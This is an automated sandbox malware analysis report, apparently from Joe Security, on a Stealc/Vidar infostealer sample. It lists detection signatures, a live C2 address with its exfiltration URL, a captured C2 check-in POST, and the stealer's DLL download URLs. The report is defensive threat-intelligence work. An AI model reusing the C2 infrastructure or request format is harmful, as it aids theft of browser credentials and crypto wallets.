Edit tour

Windows Analysis Report
zVp8cG4riO.exe

Overview

General Information

Sample name:	zVp8cG4riO.exe renamed because original name is a hash value
Original sample name:	7afa5dd515203626695eeda4606d1c63.exe
Analysis ID:	1427210
MD5:	7afa5dd515203626695eeda4606d1c63
SHA1:	2d91e4a20ffb26d31c396f64546c68bac9e37208
SHA256:	b30838c7d4ae48e0bd2b530eb63ac920048f044d9ff59766889f753989cce382
Tags:	exeStealc
Infos:

Detection

Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

zVp8cG4riO.exe (PID: 5720 cmdline: "C:\Users\user\Desktop\zVp8cG4riO.exe" MD5: 7AFA5DD515203626695EEDA4606D1C63)

WerFault.exe (PID: 6096 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5720 -s 2128 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.172.128.23/f993692117a3fda2.php"}

Threatname: Vidar

{"C2 url": "http://185.172.128.23/f993692117a3fda2.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.2604102727.0000000002F70000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x9f8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000001.00000003.2061583789.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000003.2061583789.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000001.00000002.2604196663.0000000002F85000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: zVp8cG4riO.exe PID: 5720	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: zVp8cG4riO.exe PID: 5720	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: zVp8cG4riO.exe PID: 5720	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
1.3.zVp8cG4riO.exe.2ee0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.3.zVp8cG4riO.exe.2ee0000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
1.2.zVp8cG4riO.exe.2eb0e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.zVp8cG4riO.exe.2eb0e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
1.2.zVp8cG4riO.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.zVp8cG4riO.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
1.2.zVp8cG4riO.exe.2eb0e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.zVp8cG4riO.exe.2eb0e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
1.2.zVp8cG4riO.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.zVp8cG4riO.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
1.3.zVp8cG4riO.exe.2ee0000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.3.zVp8cG4riO.exe.2ee0000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 7 entries

Snort Signatures

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 185.172.128.23 - Destination IP: 192.168.2.5

Timestamp:	04/17/24-09:17:00.537456
SID:	2051828
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 185.172.128.23

Timestamp:	04/17/24-09:17:00.538972
SID:	2044246
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 185.172.128.23

Timestamp:	04/17/24-09:17:00.212598
SID:	2044244
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 185.172.128.23

Timestamp:	04/17/24-09:16:59.648355
SID:	2044243
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 185.172.128.23 - Destination IP: 192.168.2.5

Timestamp:	04/17/24-09:17:00.864471
SID:	2051831
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /f993692117a3fda2.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFBHost: 185.172.128.23Content-Length: 215Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 42 38 39 46 38 45 43 46 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="hwid"30B89F8ECFC93740105281------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="build"default9------ECGHCBGCBFHIIDHIJKFB--

Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.1
Source: zVp8cG4riO.exe, 00000001.00000002.2603920666.0000000002F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/freebl3.dll
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/freebl3.dllW
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/mozglue.dll
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll/
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/nss3.dll
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/softokn3.dll7
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/softokn3.dllA
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/sqlite3.dllK
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/vcruntime140.dll
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/8e6d9db21fb63946/vcruntime140.dll7
Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f9
Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117
Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.p
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp, zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.php
Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.php%2
Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpA3
Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpL
Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpM2
Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpY2
Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpe3
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpee1f731494c6c219f33099b430b44
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpft
Source: zVp8cG4riO.exe, 00000001.00000002.2620591973.0000000029605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phph
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpq
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.23/f993692117a3fda2.phpt
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: zVp8cG4riO.exe, zVp8cG4riO.exe, 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626210436.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	String found in binary or memory: https://support.mozilla.org
Source: AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: zVp8cG4riO.exe, 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	String found in binary or memory: https://www.mozilla.org
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/cG4riO.exeost.exe
Source: AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: zVp8cG4riO.exe, 00000001.00000003.2234683434.000000002F7F2000.00000004.00000020.00020000.00000000.sdmp, AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: zVp8cG4riO.exe, 00000001.00000003.2234683434.000000002F7F2000.00000004.00000020.00020000.00000000.sdmp, AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/aNNrxqMqjwzTgKDcIo.exe
Source: zVp8cG4riO.exe, 00000001.00000003.2234683434.000000002F7F2000.00000004.00000020.00020000.00000000.sdmp, AAKEGDAKEHJDHIDHJJDAECFBKF.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: zVp8cG4riO.exe, 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000001.00000002.2604102727.0000000002F70000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD4B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CD4B700
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD4B8C0 rand_s,NtQueryVirtualMemory,	1_2_6CD4B8C0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD4B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6CD4B910
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCEF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CCEF280

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCE35A0	1_2_6CCE35A0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD0D4D0	1_2_6CD0D4D0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCF64C0	1_2_6CCF64C0
